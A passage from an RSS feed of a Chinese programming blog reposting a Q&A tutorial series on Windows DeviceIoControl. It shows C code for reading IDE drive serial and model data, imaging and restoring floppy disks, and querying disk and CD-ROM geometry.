} wUltraDMA;                        <span class=rem>// WORD 88:  Ultra DMA支持能力</span>
USHORT    wReserved89[<span class=num>167</span>];         <span class=rem>// WORD 89-255</span>
} IDINFO, *PIDINFO;
<span class=rem>// SCSI驱动所需的输入输出共用的结构</span>
<span class=key>typedef</span> <span class=key>struct</span> _SRB_IO_CONTROL
{
ULONG HeaderLength;        <span class=rem>// 头长度</span>
UCHAR Signature[<span class=num>8</span>];        <span class=rem>// 特征名称</span>
ULONG Timeout;             <span class=rem>// 超时时间</span>
ULONG ControlCode;         <span class=rem>// 控制码</span>
ULONG ReturnCode;          <span class=rem>// 返回码</span>
ULONG Length;              <span class=rem>// 缓冲区长度</span>
} SRB_IO_CONTROL, *PSRB_IO_CONTROL;
</code></pre>
<p class=bhw98>需要引起注意的是IDINFO第57-58 WORD (CHS可寻址的扇区数)，因为不满足32位对齐的要求，不可定义为一个ULONG字段。Lynn McGuire的程序里正是由于定义为一个ULONG字段，导致该结构不可用。
<p class=bhw98>以下是核心代码：
<pre class=bhw98><code class=bhw98><span class=rem>// 打开设备</span>
<span class=rem>// filename: 设备的&#8220;文件名&#8221;(设备路径)</span>
HANDLE OpenDevice(LPCTSTR filename)
{
HANDLE hDevice;
<span class=rem>// 打开设备</span>
hDevice = ::CreateFile(filename,            <span class=rem>// 文件名</span>
GENERIC_READ | GENERIC_WRITE,          <span class=rem>// 读写方式</span>
FILE_SHARE_READ | FILE_SHARE_WRITE,    <span class=rem>// 共享方式</span>
NULL,                    <span class=rem>// 默认的安全描述符</span>
OPEN_EXISTING,           <span class=rem>// 创建方式</span>
<span class=num>0</span>,                       <span class=rem>// 不需设置文件属性</span>
NULL);                   <span class=rem>// 不需参照模板文件</span>
<span class=key>return</span> hDevice;
}
<span class=rem>// 向驱动发&#8220;IDENTIFY DEVICE&#8221;命令，获得设备信息</span>
<span class=rem>// hDevice: 设备句柄</span>
<span class=rem>// pIdInfo:  设备信息结构指针</span>
BOOL IdentifyDevice(HANDLE hDevice, PIDINFO pIdInfo)
{
PSENDCMDINPARAMS pSCIP;      <span class=rem>// 输入数据结构指针</span>
PSENDCMDOUTPARAMS pSCOP;     <span class=rem>// 输出数据结构指针</span>
DWORD dwOutBytes;            <span class=rem>// IOCTL输出数据长度</span>
BOOL bResult;                <span class=rem>// IOCTL返回值</span>
<span class=rem>// 申请输入/输出数据结构空间</span>
pSCIP = (PSENDCMDINPARAMS)::GlobalAlloc(LMEM_ZEROINIT, <span class=key>sizeof</span>(SENDCMDINPARAMS) - <span class=num>1</span>);
pSCOP = (PSENDCMDOUTPARAMS)::GlobalAlloc(LMEM_ZEROINIT, <span class=key>sizeof</span>(SENDCMDOUTPARAMS) + <span class=key>sizeof</span>(IDINFO) - <span class=num>1</span>);
<span class=rem>// 指定ATA/ATAPI命令的寄存器值</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bFeaturesReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bSectorCountReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bSectorNumberReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bCylLowReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bCylHighReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bDriveHeadReg = 0;</span>
pSCIP-&gt;irDriveRegs.bCommandReg = IDE_ATA_IDENTIFY;
<span class=rem>// 指定输入/输出数据缓冲区大小</span>
pSCIP-&gt;cBufferSize = <span class=num>0</span>;
pSCOP-&gt;cBufferSize = <span class=key>sizeof</span>(IDINFO);
<span class=rem>// IDENTIFY DEVICE</span>
bResult = ::DeviceIoControl(hDevice,        <span class=rem>// 设备句柄</span>
DFP_RECEIVE_DRIVE_DATA,                 <span class=rem>// 指定IOCTL</span>
pSCIP, <span class=key>sizeof</span>(SENDCMDINPARAMS) - <span class=num>1</span>,     <span class=rem>// 输入数据缓冲区</span>
pSCOP, <span class=key>sizeof</span>(SENDCMDOUTPARAMS) + <span class=key>sizeof</span>(IDINFO) - <span class=num>1</span>,    <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);        <span class=rem>// 用同步I/O</span>
<span class=rem>// 复制设备参数结构</span>
::memcpy(pIdInfo, pSCOP-&gt;bBuffer, <span class=key>sizeof</span>(IDINFO));
<span class=rem>// 释放输入/输出数据空间</span>
::GlobalFree(pSCOP);
::GlobalFree(pSCIP);
<span class=key>return</span> bResult;
}
<span class=rem>// 向SCSI MINI-PORT驱动发&#8220;IDENTIFY DEVICE&#8221;命令，获得设备信息</span>
<span class=rem>// hDevice: 设备句柄</span>
<span class=rem>// pIdInfo:  设备信息结构指针</span>
BOOL IdentifyDeviceAsScsi(HANDLE hDevice, <span class=key>int</span> nDrive, PIDINFO pIdInfo)
{
PSENDCMDINPARAMS pSCIP;     <span class=rem>// 输入数据结构指针</span>
PSENDCMDOUTPARAMS pSCOP;    <span class=rem>// 输出数据结构指针</span>
PSRB_IO_CONTROL pSRBIO;     <span class=rem>// SCSI输入输出数据结构指针</span>
DWORD dwOutBytes;           <span class=rem>// IOCTL输出数据长度</span>
BOOL bResult;               <span class=rem>// IOCTL返回值</span>
<span class=rem>// 申请输入/输出数据结构空间</span>
pSRBIO = (PSRB_IO_CONTROL)::GlobalAlloc(LMEM_ZEROINIT,
<span class=key>sizeof</span>(SRB_IO_CONTROL) + <span class=key>sizeof</span>(SENDCMDOUTPARAMS) + <span class=key>sizeof</span>(IDINFO) - <span class=num>1</span>);
pSCIP = (PSENDCMDINPARAMS)((<span class=key>char</span> *)pSRBIO + <span class=key>sizeof</span>(SRB_IO_CONTROL));
pSCOP = (PSENDCMDOUTPARAMS)((<span class=key>char</span> *)pSRBIO + <span class=key>sizeof</span>(SRB_IO_CONTROL));
<span class=rem>// 填充输入/输出数据</span>
pSRBIO-&gt;HeaderLength = <span class=key>sizeof</span>(SRB_IO_CONTROL);
pSRBIO-&gt;Timeout = <span class=num>10000</span>;
pSRBIO-&gt;Length = <span class=key>sizeof</span>(SENDCMDOUTPARAMS) + <span class=key>sizeof</span>(IDINFO) - <span class=num>1</span>;
pSRBIO-&gt;ControlCode = IOCTL_SCSI_MINIPORT_IDENTIFY;
::strncpy ((<span class=key>char</span> *)pSRBIO-&gt;Signature, <span class=str>"SCSIDISK"</span>, <span class=num>8</span>);
<span class=rem>// 指定ATA/ATAPI命令的寄存器值</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bFeaturesReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bSectorCountReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bSectorNumberReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bCylLowReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bCylHighReg = 0;</span>
<span class=rem>//    pSCIP-&gt;irDriveRegs.bDriveHeadReg = 0;</span>
pSCIP-&gt;irDriveRegs.bCommandReg = IDE_ATA_IDENTIFY;
pSCIP-&gt;bDriveNumber = nDrive;
<span class=rem>// IDENTIFY DEVICE</span>
bResult = ::DeviceIoControl(hDevice,    <span class=rem>// 设备句柄</span>
IOCTL_SCSI_MINIPORT,                <span class=rem>// 指定IOCTL</span>
pSRBIO, <span class=key>sizeof</span>(SRB_IO_CONTROL) + <span class=key>sizeof</span>(SENDCMDINPARAMS) - <span class=num>1</span>,    <span class=rem>// 输入数据缓冲区</span>
pSRBIO, <span class=key>sizeof</span>(SRB_IO_CONTROL) + <span class=key>sizeof</span>(SENDCMDOUTPARAMS) + <span class=key>sizeof</span>(IDINFO) - <span class=num>1</span>,    <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,            <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);    <span class=rem>// 用同步I/O</span>
<span class=rem>// 复制设备参数结构</span>
::memcpy(pIdInfo, pSCOP-&gt;bBuffer, <span class=key>sizeof</span>(IDINFO));
<span class=rem>// 释放输入/输出数据空间</span>
::GlobalFree(pSRBIO);
<span class=key>return</span> bResult;
}
<span class=rem>// 将串中的字符两两颠倒</span>
<span class=rem>// 原因是ATA/ATAPI中的WORD，与Windows采用的字节顺序相反</span>
<span class=rem>// 驱动程序中已经将收到的数据全部反过来，我们来个负负得正</span>
<span class=key>void</span> AdjustString(<span class=key>char</span>* str, <span class=key>int</span> len)
{
<span class=key>char</span> ch;
<span class=key>int</span> i;
<span class=rem>// 两两颠倒</span>
<span class=key>for</span> (i = <span class=num>0</span>; i &lt; len; i += <span class=num>2</span>)
{
ch = str[i];
str[i] = str[i + <span class=num>1</span>];
str[i + <span class=num>1</span>] = ch;
}
<span class=rem>// 若是右对齐的，调整为左对齐 (去掉左边的空格)</span>
i = <span class=num>0</span>;
<span class=key>while</span> ((i &lt; len) &amp;&amp; (str[i] == <span class=str>' '</span>)) i++;
::memmove(str, &amp;str[i], len - i);
<span class=rem>// 去掉右边的空格</span>
i = len - <span class=num>1</span>;
<span class=key>while</span> ((i &gt;= <span class=num>0</span>) &amp;&amp; (str[i] == <span class=str>' '</span>))
{
str[i] = <span class=str>'\0'</span>;
i--;
}
}
<span class=rem>// 读取IDE硬盘的设备信息，必须有足够权限</span>
<span class=rem>// nDrive: 驱动器号(0=第一个硬盘，1=0=第二个硬盘，......)</span>
<span class=rem>// pIdInfo: 设备信息结构指针</span>
BOOL GetPhysicalDriveInfoInNT(<span class=key>int</span> nDrive, PIDINFO pIdInfo)
{
HANDLE hDevice;         <span class=rem>// 设备句柄</span>
BOOL bResult;           <span class=rem>// 返回结果</span>
<span class=key>char</span> szFileName[<span class=num>20</span>];    <span class=rem>// 文件名</span>
::sprintf(szFileName,<span class=str>"\\\\.\\PhysicalDrive%d"</span>, nDrive);
hDevice = ::OpenDevice(szFileName);
<span class=key>if</span> (hDevice == INVALID_HANDLE_VALUE)
{
<span class=key>return</span> FALSE;
}
<span class=rem>// IDENTIFY DEVICE</span>
bResult = ::IdentifyDevice(hDevice, pIdInfo);
<span class=key>if</span> (bResult)
{
<span class=rem>// 调整字符串</span>
::AdjustString(pIdInfo-&gt;sSerialNumber, <span class=num>20</span>);
::AdjustString(pIdInfo-&gt;sModelNumber, <span class=num>40</span>);
::AdjustString(pIdInfo-&gt;sFirmwareRev, <span class=num>8</span>);
}
::CloseHandle (hDevice);
<span class=key>return</span> bResult;
}
<span class=rem>// 用SCSI驱动读取IDE硬盘的设备信息，不受权限制约</span>
<span class=rem>// nDrive: 驱动器号(0=Primary Master, 1=Promary Slave, 2=Secondary master, 3=Secondary slave)</span>
<span class=rem>// pIdInfo: 设备信息结构指针</span>
BOOL GetIdeDriveAsScsiInfoInNT(<span class=key>int</span> nDrive, PIDINFO pIdInfo)
{
HANDLE hDevice;         <span class=rem>// 设备句柄</span>
BOOL bResult;           <span class=rem>// 返回结果</span>
<span class=key>char</span> szFileName[<span class=num>20</span>];    <span class=rem>// 文件名</span>
::sprintf(szFileName,<span class=str>"\\\\.\\Scsi%d:"</span>, nDrive/<span class=num>2</span>);
hDevice = ::OpenDevice(szFileName);
<span class=key>if</span> (hDevice == INVALID_HANDLE_VALUE)
{
<span class=key>return</span> FALSE;
}
<span class=rem>// IDENTIFY DEVICE</span>
bResult = ::IdentifyDeviceAsScsi(hDevice, nDrive%<span class=num>2</span>, pIdInfo);
<span class=rem>// 检查是不是空串</span>
<span class=key>if</span> (pIdInfo-&gt;sModelNumber[<span class=num>0</span>] == <span class=str>'\0'</span>)
{
bResult = FALSE;
}
<span class=key>if</span> (bResult)
{
<span class=rem>// 调整字符串</span>
::AdjustString(pIdInfo-&gt;sSerialNumber, <span class=num>20</span>);
::AdjustString(pIdInfo-&gt;sModelNumber, <span class=num>40</span>);
::AdjustString(pIdInfo-&gt;sFirmwareRev, <span class=num>8</span>);
}
<span class=key>return</span> bResult;
}
</code></pre>
<p class=bhw98><strong class=bhw98>Q</strong> 我注意到ATA/ATAPI里，以及DiskID32里，有一个&#8220;IDENTIFY PACKET DEVICE&#8221;指令，与&#8220;IDENTIFY DEVICE&#8221;有什么区别？
<p class=bhw98><strong class=bhw98>A</strong> IDENTIFY DEVICE专门用于固定硬盘，而IDENTIFY PACKET DEVICE用于可移动存储设备如CDROM、CF、MO、ZIP、TAPE等。因为驱动程序的原因，实际上用本例的方法，不管是IDENTIFY DEVICE也好，IDENTIFY PACKET DEVICE也好，获取可移动存储设备的详细信息，一般是做不到的。而且除了IDE硬盘，对SCSI、USB等接口的硬盘也不起作用。除非厂商提供的驱动支持这样的功能。
<p class=bhw98><strong class=bhw98>Q</strong> ATA/ATAPI有很多指令，如READ SECTORS, WRITE SECTORS, SECURITY, SLEEP, STANDBY等，利用上述方法，是否可进行相应操作？
<p class=bhw98><strong class=bhw98>A</strong> 应该没问题。但切记，要慎重慎重再慎重！
<p class=bhw98><strong class=bhw98>Q</strong> 关于权限问题，请解释一下好吗？
<p class=bhw98><strong class=bhw98>A</strong> 在NT/2000/XP下，administrator可以管理设备，上述两种访问驱动的方法都行。但在user身份下，或者登录到域后，用户无法访问PhysicalDrive驱动的核心层，但SCSI MINI-PORT驱动却可以。目前是可以，不知道Windows以后的版本是否支持。因为这肯定是一个安全隐患。
<p class=bhw98>另外，我们着重讨论NT/2000/XP中DeviceIoControl的应用，如果需要在98/ME中得到包括硬盘序列号在内的更加详细的信息，请参考DiskID32。 </p>
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文Demo源码：<a href="http://www.csdn.net/develop/author/bhw98/IdeDiskInfo.zip"><font color=#000080>IdeDiskInfo.zip</font></a> (25KB)
<li class=bhw98>Lynn McGuire的 <a href="http://www.codeguru.com/system/DiskId32.zip"><font color=#000080>DiskID32.zip</font></a> (30KB)
<li class=bhw98>T13官方网站：<a href="http://www.t13.org/"><font color=#000080>http://www.t13.org</font></a> </li>
</div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79824.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:06 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79824.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之三：制作磁盘镜像文件</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79823.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:04:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79823.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79823.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79823.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79823.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79823.html</trackback:ping><description><![CDATA[转自<a href="http://www.cnblogs.com/henryzc/archive/2005/11/08/271910.html">http://www.cnblogs.com/henryzc/archive/2005/11/08/271910.html</a><br><br>
<div class=postText>
<p class=bhw98><strong class=bhw98>Q</strong> DOS命令DISKCOPY给我很深的印象，现在也有许多&#8220;克隆&#8221;软件，可以对磁盘进行全盘复制。我想，要制作磁盘镜像文件，DeviceIoControl应该很有用武之地吧？
<p class=bhw98><strong class=bhw98>A</strong> 是的。这里举一个制作软盘镜像文件，功能类似于&#8220;DISKCOPY&#8221;的例子。
<p class=bhw98>本例实现其功能的核心代码如下：
<pre class=bhw98><code class=bhw98><span class=rem>// 打开磁盘</span>
HANDLE OpenDisk(LPCTSTR filename)
{
HANDLE hDisk;
<span class=rem>// 打开设备</span>
hDisk = ::CreateFile(filename,           <span class=rem>// 文件名</span>
GENERIC_READ | GENERIC_WRITE,        <span class=rem>// 读写方式</span>
FILE_SHARE_READ | FILE_SHARE_WRITE,  <span class=rem>// 共享方式</span>
NULL,                                <span class=rem>// 默认的安全描述符</span>
OPEN_EXISTING,                       <span class=rem>// 创建方式</span>
<span class=num>0</span>,                                   <span class=rem>// 不需设置文件属性</span>
NULL);                               <span class=rem>// 不需参照模板文件</span>
<span class=key>return</span> hDisk;
}
<span class=rem>// 获取磁盘参数</span>
BOOL GetDiskGeometry(HANDLE hDisk, PDISK_GEOMETRY lpGeometry)
{
DWORD dwOutBytes;
BOOL bResult;
<span class=rem>// 用IOCTL_DISK_GET_DRIVE_GEOMETRY取磁盘参数</span>
bResult = ::DeviceIoControl(hDisk,        <span class=rem>// 设备句柄</span>
IOCTL_DISK_GET_DRIVE_GEOMETRY,        <span class=rem>// 取磁盘参数</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输入数据</span>
lpGeometry, <span class=key>sizeof</span>(DISK_GEOMETRY),    <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                          <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                  <span class=rem>// 用同步I/O</span>
<span class=key>return</span> bResult;
}
<span class=rem>// 从指定磁道开始读磁盘</span>
BOOL ReadTracks(HANDLE hDisk, PDISK_GEOMETRY lpGeometry, LPVOID pBuf, DWORD dwStartCylinder, DWORD dwCylinderNumber)
{
DWORD VirtBufSize;
DWORD BytesRead;
<span class=rem>// 大小</span>
VirtBufSize =  lpGeometry-&gt;TracksPerCylinder * lpGeometry-&gt;SectorsPerTrack * lpGeometry-&gt;BytesPerSector;
<span class=rem>// 偏移</span>
::SetFilePointer(hDisk, VirtBufSize*dwStartCylinder, NULL, FILE_BEGIN);
<span class=key>return</span> ::ReadFile(hDisk, pBuf, VirtBufSize*dwCylinderNumber, &amp;BytesRead, NULL);
}
<span class=rem>// 从指定磁道开始写磁盘</span>
BOOL WriteTracks(HANDLE hDisk, PDISK_GEOMETRY lpGeometry, LPVOID pBuf, DWORD dwStartCylinder, DWORD dwCylinderNumber)
{
DWORD VirtBufSize;
DWORD BytesWritten;
<span class=rem>// 大小</span>
VirtBufSize =  lpGeometry-&gt;TracksPerCylinder * lpGeometry-&gt;SectorsPerTrack * lpGeometry-&gt;BytesPerSector;
<span class=rem>// 偏移</span>
::SetFilePointer(hDisk, VirtBufSize*dwStartCylinder, NULL, FILE_BEGIN);
<span class=key>return</span> ::WriteFile(hDisk, pBuf, VirtBufSize*dwCylinderNumber, &amp;BytesWritten, NULL);
}
<span class=rem>// 从指定磁道开始格式化磁盘</span>
BOOL LowLevelFormatTracks(HANDLE hDisk, PDISK_GEOMETRY lpGeometry, DWORD dwStartCylinder, DWORD dwCylinderNumber)
{
FORMAT_PARAMETERS FormatParameters;
PBAD_TRACK_NUMBER lpBadTrack;
DWORD dwOutBytes;
DWORD dwBufSize;
BOOL bResult;
FormatParameters.MediaType = lpGeometry-&gt;MediaType;
FormatParameters.StartCylinderNumber = dwStartCylinder;
FormatParameters.EndCylinderNumber = dwStartCylinder + dwCylinderNumber - <span class=num>1</span>;
FormatParameters.StartHeadNumber = <span class=num>0</span>;
FormatParameters.EndHeadNumber = lpGeometry-&gt;TracksPerCylinder - <span class=num>1</span>;
dwBufSize = lpGeometry-&gt;TracksPerCylinder * <span class=key>sizeof</span>(BAD_TRACK_NUMBER);
lpBadTrack = (PBAD_TRACK_NUMBER) new BYTE[dwBufSize];
<span class=rem>// 用IOCTL_DISK_FORMAT_TRACKS对连续磁道进行低级格式化</span>
bResult = ::DeviceIoControl(hDisk,               <span class=rem>// 设备句柄</span>
IOCTL_DISK_FORMAT_TRACKS,                    <span class=rem>// 低级格式化</span>
&amp;FormatParameters, <span class=key>sizeof</span>(FormatParameters), <span class=rem>// 输入数据缓冲区</span>
lpBadTrack, dwBufSize,                       <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                                 <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                         <span class=rem>// 用同步I/O</span>
delete lpBadTrack;
<span class=key>return</span> bResult;
}
<span class=rem>// 将卷锁定</span>
BOOL LockVolume(HANDLE hDisk)
{
DWORD dwOutBytes;
BOOL bResult;
<span class=rem>// 用FSCTL_LOCK_VOLUME锁卷</span>
bResult = ::DeviceIoControl(hDisk,        <span class=rem>// 设备句柄</span>
FSCTL_LOCK_VOLUME,                    <span class=rem>// 锁卷</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输入数据</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输出数据</span>
&amp;dwOutBytes,                          <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                  <span class=rem>// 用同步I/O</span>
<span class=key>return</span> bResult;
}
<span class=rem>// 将卷解锁</span>
BOOL UnlockVolume(HANDLE hDisk)
{
DWORD dwOutBytes;
BOOL bResult;
<span class=rem>// 用FSCTL_UNLOCK_VOLUME开卷锁</span>
bResult = ::DeviceIoControl(hDisk,        <span class=rem>// 设备句柄</span>
FSCTL_UNLOCK_VOLUME,                  <span class=rem>// 开卷锁</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输入数据</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输出数据</span>
&amp;dwOutBytes,                          <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                  <span class=rem>// 用同步I/O</span>
<span class=key>return</span> bResult;
}
<span class=rem>// 将卷卸下</span>
<span class=rem>// 该操作使系统重新辨识磁盘，等效于重新插盘</span>
BOOL DismountVolume(HANDLE hDisk)
{
DWORD dwOutBytes;
BOOL bResult;
<span class=rem>// 用FSCTL_DISMOUNT_VOLUME卸卷</span>
bResult = ::DeviceIoControl(hDisk,        <span class=rem>// 设备句柄</span>
FSCTL_DISMOUNT_VOLUME,                <span class=rem>// 卸卷</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输入数据</span>
NULL, <span class=num>0</span>,                              <span class=rem>// 不需要输出数据</span>
&amp;dwOutBytes,                          <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);                  <span class=rem>// 用同步I/O</span>
<span class=key>return</span> bResult;
}
</code></pre>
<p class=bhw98>将软盘保存成镜像文件的步骤简单描述为：<br>1、创建空的镜像文件。<br>2、调用OpenDisk打开软盘。成功转3，失败转8。<br>3、调用LockVolume将卷锁定。成功转4，失败转7。<br>4、调用GetDiskGeometry获取参数。成功转5，失败转6。<br>5、将磁盘参数写入镜像文件作为文件头。调用ReadTracks按柱面读出数据，保存在镜像文件中。循环次数等于柱面数。<br>6、调用UnlockVolume将卷解锁。<br>7、调用CloseDisk关闭软盘。<br>8、关闭镜像文件。</p>
<p class=bhw98>将镜像文件载入软盘的步骤简单描述为：<br>1、打开镜像文件。<br>2、调用OpenDisk打开软盘。成功转3，失败转11。<br>3、调用LockVolume将卷锁定。成功转4，失败转10。<br>4、调用GetDiskGeometry获取参数。成功转5，失败转9。<br>5、从镜像文件中读出文件头，判断两个磁盘参数是否一致。不一致转6，否则转7。<br>6、调用LowLevelFormatTracks按柱面格式化软盘。循环次数等于柱面数。成功转7，失败转8。<br>7、从镜像文件中读出数据，并调用WriteTracks按柱面写入磁盘。循环次数等于柱面数。<br>8、调用DismountVolume将卷卸下。<br>9、调用UnlockVolume将卷解锁。<br>10、调用CloseDisk关闭软盘。<br>11、关闭镜像文件。</p>
<p class=bhw98><strong class=bhw98>Q</strong> 我注意到，磁盘读写和格式化是按柱面进行的，有什么道理吗？
<p class=bhw98><strong class=bhw98>A</strong> 没有特别的原因，只是因为在这个例子中可以方便地显示处理进度。
<p class=bhw98>有一点需要特别提及，按绝对地址读写磁盘数据时，&#8220;最小单位&#8221;是扇区，地址一定要与扇区对齐，长度也要等于扇区长度的整数倍。比如，每扇区512字节，那么起始地址和数据长度都应能被512整除才行。
<p class=bhw98><strong class=bhw98>Q</strong> 我忽然产生了一个伟大的想法，用绝对地址读写的方式使用磁盘，包括U盘啦，MO啦，而不是用现成的文件系统，那不是可以将数据保密了吗？
<p class=bhw98><strong class=bhw98>A</strong> 当然，只要你喜欢。可千万别在你的系统盘上做试验，否则......可别怪bhw98没有提醒过你喔！
<p class=bhw98><strong class=bhw98>Q</strong> 我知道怎么测试光驱的传输速度了，就用上面的方法，读出一定长度数据，除以所需时间，应该可以吧？
<p class=bhw98><strong class=bhw98>A</strong> 可以。但取光盘参数时要用IOCTL_STORAGE_GET_MEDIA_TYPES_EX，我们已经探讨过的。 </p>
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文Demo源码：<a href="http://www.csdn.net/develop/author/bhw98/FloppyImage.zip"><font color=#000080>FloppyImage.zip</font></a> (16KB)
<li class=bhw98>Microsoft的例子：<a href="http://download.microsoft.com/download/vstudio60pro/Utility/6.0/W98NT42KMeXP/EN-US/vs6samples.exe"><font color=#000080>vs6samples.exe</font></a> (134,518KB) </li>
</div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79823.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:04 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79823.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之二：获取软盘/硬盘/光盘的参数</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79822.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:03:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79822.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79822.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79822.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79822.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79822.html</trackback:ping><description><![CDATA[转自<a href="http://www.cnblogs.com/henryzc/archive/2005/11/08/271909.html">http://www.cnblogs.com/henryzc/archive/2005/11/08/271909.html</a><br><br>
<div class=postText>
<p class=bhw98><strong class=bhw98>Q</strong> 在MSDN的那个demo中，将设备名换成&#8220;A:&#8221;取A盘参数，先用资源管理器读一下盘，再运行这个程序可以成功，但换一张盘后就失败；换成&#8220;CDROM0&#8221;取CDROM参数，无论如何都不行。这个问题如何解决呢？
<p class=bhw98><strong class=bhw98>A</strong> 取软盘参数是从软盘上读取格式化后的信息，也就是必须执行读操作，这一点与硬盘不同。将CreateFile中的访问方式改为GENERIC_READ就行了。
<p class=bhw98>IOCTL_DISK_GET_DRIVE_GEOMETRY这个I/O控制码，对软盘和硬盘有效，但对一些可移动媒介如CD/DVD-ROM、TAPE等就不管用了。要取CDROM参数，还得另辟蹊径。IOCTL_STORAGE_GET_MEDIA_TYPES_EX能够帮我们解决问题。
<p class=bhw98><strong class=bhw98>Q</strong> 使用这些I/O控制码，需要什么样的输入输出数据格式呢？
<p class=bhw98><strong class=bhw98>A</strong> DeviceIoControl使用这两个控制码时，都不需要输入数据。
<p class=bhw98>IOCTL_DISK_GET_DRIVE_GEOMETRY直接输出一个DISK_GEOMETRY结构：
<pre class=bhw98><code class=bhw98><span class=key>typedef struct</span> _DISK_GEOMETRY {
LARGE_INTEGER Cylinders;   <span class=rem>// 柱面数</span>
MEDIA_TYPE MediaType;      <span class=rem>// 介质类型</span>
DWORD TracksPerCylinder;   <span class=rem>// 每柱面的磁道数</span>
DWORD SectorsPerTrack;     <span class=rem>// 每磁道的扇区数</span>
DWORD BytesPerSector;      <span class=rem>// 每扇区的字节数</span>
} DISK_GEOMETRY;
</code></pre>
<p class=bhw98>IOCTL_STORAGE_GET_MEDIA_TYPES_EX输出一个GET_MEDIA_TYPES结构：
<pre class=bhw98><code class=bhw98><span class=key>typedef struct</span> _GET_MEDIA_TYPES {
DWORD DeviceType;               <span class=rem>// 设备类型</span>
DWORD MediaInfoCount;           <span class=rem>// 介质信息条数</span>
DEVICE_MEDIA_INFO MediaInfo[<span class=num>1</span>]; <span class=rem>// 介质信息</span>
} GET_MEDIA_TYPES;
</code></pre>
<p class=bhw98>让我们来看一下DEVICE_MEDIA_INFO结构的定义：
<pre class=bhw98><code class=bhw98><span class=key>typedef struct</span> _DEVICE_MEDIA_INFO {
<span class=key>union</span> {
<span class=key>struct</span> {
LARGE_INTEGER Cylinders;       <span class=rem>// 柱面数</span>
STORAGE_MEDIA_TYPE MediaType;  <span class=rem>// 介质类型</span>
DWORD TracksPerCylinder;       <span class=rem>// 每柱面的磁道数</span>
DWORD SectorsPerTrack;         <span class=rem>// 每磁道的扇区数</span>
DWORD BytesPerSector;          <span class=rem>// 每扇区的字节数</span>
DWORD NumberMediaSides;        <span class=rem>// 介质面数</span>
DWORD MediaCharacteristics;    <span class=rem>// 介质特性</span>
} DiskInfo;            <span class=rem>// 硬盘信息</span>
<span class=key>struct</span> {
LARGE_INTEGER Cylinders;       <span class=rem>// 柱面数</span>
STORAGE_MEDIA_TYPE MediaType;  <span class=rem>// 介质类型</span>
DWORD TracksPerCylinder;       <span class=rem>// 每柱面的磁道数</span>
DWORD SectorsPerTrack;         <span class=rem>// 每磁道的扇区数</span>
DWORD BytesPerSector;          <span class=rem>// 每扇区的字节数</span>
DWORD NumberMediaSides;        <span class=rem>// 介质面数</span>
DWORD MediaCharacteristics;    <span class=rem>// 介质特性</span>
} RemovableDiskInfo;   <span class=rem>// &#8220;可移动盘&#8221;信息</span>
<span class=key>struct</span> {
STORAGE_MEDIA_TYPE MediaType;  <span class=rem>// 介质类型</span>
DWORD   MediaCharacteristics;  <span class=rem>// 介质特性</span>
DWORD   CurrentBlockSize;      <span class=rem>// 块的大小</span>
